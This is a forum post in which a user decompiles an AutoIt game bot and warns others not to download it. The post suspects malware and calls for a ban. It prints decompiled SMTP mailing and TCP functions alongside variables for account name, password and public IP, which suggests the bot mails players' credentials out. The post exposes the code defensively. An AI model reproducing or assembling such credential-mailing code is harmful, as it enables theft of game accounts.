i don't test, i decompile at first and i want to know why do you need in your script TCP and _GetIP? Some information from the Bot:
Func _SMTPSEND($V_SOCKET, $S_SEND, $S_REPLYCODE, $B_TRACE, $S_INTREPLY = "", $S_FIRST = "")
Local $S_RECEIVE, $I, $TIMER
If $B_TRACE Then _SMTPTRACE($S_SEND)
If $S_INTREPLY <> "" Then
If $S_FIRST <> -1 Then
If TCPSend($V_SOCKET, $S_FIRST) = 0 Then
TCPCloseSocket($V_SOCKET)
TCPShutdown()
Return 1
EndIf
EndIf
$S_RECEIVE = ""
$TIMER = TimerInit()
While StringLeft($S_RECEIVE, StringLen($S_INTREPLY)) <> $S_INTREPLY And TimerDiff($TIMER) < 45000
$S_RECEIVE = TCPRecv($V_SOCKET, 1000)
If $B_TRACE And $S_RECEIVE <> "" Then _SMTPTRACE("intermediate->" & $S_RECEIVE)
WEnd
EndIf
If TCPSend($V_SOCKET, $S_SEND) = 0 Then
TCPCloseSocket($V_SOCKET)
TCPShutdown()
Return 1
EndIf
$TIMER = TimerInit()
$S_RECEIVE = ""
While $S_RECEIVE = "" And TimerDiff($TIMER) < 45000
$I += 1
$S_RECEIVE = TCPRecv($V_SOCKET, 1000)
If $S_REPLYCODE = "" Then ExitLoop
WEnd
If $S_REPLYCODE <> "" Then
If $B_TRACE Then _SMTPTRACE($I & " <- " & $S_RECEIVE)
If StringLeft($S_RECEIVE, StringLen($S_REPLYCODE)) <> $S_REPLYCODE Then
TCPCloseSocket($V_SOCKET)
TCPShutdown()
If $B_TRACE Then _SMTPTRACE("<-> " & $S_REPLYCODE, 5)
Return 2
EndIf
EndIf
Return 0
EndFunc
Func _TCPIpToName($SIP, $IOPTION = Default, $HDLL_WS2_32 = Default)
Local $VBINIP, $VADLLCALL, $VPTRHOSTENT, $VHOSTENT, $SHOSTNAMES, $VH_ALIASES, $I
Local $INADDR_NONE = -1, $AF_INET = 2, $SSEPERATOR = @CR
If $IOPTION = Default Then $IOPTION = 0
If $HDLL_WS2_32 = Default Then $HDLL_WS2_32 = "Ws2_32.dll"
$VADLLCALL = DllCall($HDLL_WS2_32, "long", "inet_addr", "str", $SIP)
If @error Then Return SetError(1, 0, "")
$VBINIP = $VADLLCALL[0]
If $VBINIP = $INADDR_NONE Then Return SetError(2, 0, "")
$VADLLCALL = DllCall($HDLL_WS2_32, "ptr", "gethostbyaddr", "long*", $VBINIP, "int", 4, "int", $AF_INET)
If @error Then Return SetError(3, 0, "")
$VPTRHOSTENT = $VADLLCALL[0]
If $VPTRHOSTENT = 0 Then
$VADLLCALL = DllCall($HDLL_WS2_32, "int", "WSAGetLastError")
If @error Then Return SetError(5, 0, "")
Return SetError(4, $VADLLCALL[0], "")
EndIf
$VHOSTENT = DllStructCreate("ptr;ptr;short;short;ptr", $VPTRHOSTENT)
$SHOSTNAMES = __TCPIPTONAME_SZSTRINGREAD(DllStructGetData($VHOST ENT, 1))
If @error Then Return SetError(6, 0, $SHOSTNAMES)
If $IOPTION = 1 Then
$SHOSTNAMES &= $SSEPERATOR
For $I = 0 To 63
$VH_ALIASES = DllStructCreate("ptr", DllStructGetData($VHOSTENT, 2) + ($I * 4))
If DllStructGetData($VH_ALIASES, 1) = 0 Then ExitLoop
$SHOSTNAMES &= __TCPIPTONAME_SZSTRINGREAD(DllStructGetData($VH_AL IASES, 1))
If @error Then
SetError(7)
ExitLoop
EndIf
Next
Return StringSplit(StringStripWS($SHOSTNAMES, 2), @CR)
Else
Return $SHOSTNAMES
EndIf
EndFunc
$SETUP = 0
$SECTION = 0
$REPLY = 0
$ACOORD = 0
$DEATHCHECK = 0
$DEADRELOADCHECK = 0
$HEALTH = 0
$LEVEL = 1
$ACCOUNTNAME = 0
$ACCOUNTPASS = 0
$SELECTEDSERVER = 0
$REPLYSPEACH = 0
$PUBLICIP = _GetIP()
$IPRESULT = 0
$GAMEDIR = 0
$GAMEREADYPIXCHECK = 0
$PUBLICIP = _GetIP()
$IPRESULT = 0
$REPLY = 0
$LOGINATTEMPT = 0
$CONNECTIONERRORCHECK = 0
$CONNECTIONERRORRESTARTCOUNT = 0
$CHARACTERPOSITION = 2
My Tipp don't download it and the Botscript is really low :P
#ban (post malware)
Edit:
if forgot smtp-mailer xD
Func _INetSmtpMail($S_SMTPSERVER, $S_FROMNAME, $S_FROMADDRESS, $S_TOADDRESS, $S_SUBJECT = "", $AS_BODY = "", $S_HELO = "", $S_FIRST = " ", $B_TRACE = 0)
Local $V_SOCKET
Local $S_IPADDRESS
Local $I_COUNT
Local $S_SEND[6]
Local $S_REPLYCODE[6]
If $S_SMTPSERVER = "" Or $S_FROMADDRESS = "" Or $S_TOADDRESS = "" Or $S_FROMNAME = "" Or StringLen($S_FROMNAME) > 256 Then
SetError(1)
Return 0
EndIf
If $S_HELO = "" Then $S_HELO = @ComputerName
If TCPStartup() = 0 Then
SetError(2)
Return 0
EndIf
StringRegExp($S_SMTPSERVER, "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)")
If @extended Then
$S_IPADDRESS = $S_SMTPSERVER
Else
$S_IPADDRESS = TCPNameToIP($S_SMTPSERVER)
EndIf
If $S_IPADDRESS = "" Then
TCPShutdown()
SetError(3)
Return 0
EndIf
$V_SOCKET = TCPConnect($S_IPADDRESS, 25)
If $V_SOCKET = -1 Then
TCPShutdown()
SetError(4)
Return (0)
EndIf
$S_SEND[0] = "HELO " & $S_HELO & @CRLF
If StringLeft($S_HELO, 5) = "EHLO " Then $S_SEND[0] = $S_HELO & @CRLF
$S_REPLYCODE[0] = "250"
$S_SEND[1] = "MAIL FROM: <" & $S_FROMADDRESS & ">" & @CRLF
$S_REPLYCODE[1] = "250"
$S_SEND[2] = "RCPT TO: <" & $S_TOADDRESS & ">" & @CRLF
$S_REPLYCODE[2] = "250"
$S_SEND[3] = "DATA" & @CRLF
$S_REPLYCODE[3] = "354"
Local $ARESULT = _Date_Time_GetTimeZoneInformation()
Local $BIAS = -$ARESULT[1] / 60
Local $BIASH = Int($BIAS)
Local $BIASM = 0
If $BIASH <> $BIAS Then $BIASM = Abs($BIAS - $BIASH) * 60
$BIAS = StringFormat(" (%+.2d%.2d)", $BIASH, $BIASM)
$S_SEND[4] = "From:" & $S_FROMNAME & "<" & $S_FROMADDRESS & ">" & @CRLF & "To:" & "<" & $S_TOADDRESS & ">" & @CRLF & "Subject:" & $S_SUBJECT & @CRLF & "Mime-Version: 1.0" & @CRLF & "Date: " & _DateDayOfWeek(@WDAY, 1) & ", " & @MDAY & " " & _DateToMonth(@MON, 1) & " " & @YEAR & " " & @HOUR & ":" & @MIN & ":" & @SEC & $BIAS & @CRLF & "Content-Type: text/plain; charset=US-ASCII" & @CRLF & @CRLF
$S_REPLYCODE[4] = ""
$S_SEND[5] = @CRLF & "." & @CRLF
$S_REPLYCODE[5] = "250"
If _SMTPSEND($V_SOCKET, $S_SEND[0], $S_REPLYCODE[0], $B_TRACE, "220", $S_FIRST) Then
SetError(50)
Return 0
EndIf
For $I_COUNT = 1 To UBound($S_SEND) - 2
If _SMTPSEND($V_SOCKET, $S_SEND[$I_COUNT], $S_REPLYCODE[$I_COUNT], $B_TRACE) Then
SetError(50 + $I_COUNT)
Return 0
EndIf
Next
For $I_COUNT = 0 To UBound($AS_BODY) - 1
If StringLeft($AS_BODY[$I_COUNT], 1) = "." Then $AS_BODY[$I_COUNT] = "." & $AS_BODY[$I_COUNT]
If _SMTPSEND($V_SOCKET, $AS_BODY[$I_COUNT] & @CRLF, "", $B_TRACE) Then
SetError(500 + $I_COUNT)
Return 0
EndIf
Next
$I_COUNT = UBound($S_SEND) - 1
If _SMTPSEND($V_SOCKET, $S_SEND[$I_COUNT], $S_REPLYCODE[$I_COUNT], $B_TRACE) Then
SetError(5000)
Return 0
EndIf
TCPCloseSocket($V_SOCKET)
TCPShutdown()
Return 1
EndFunc
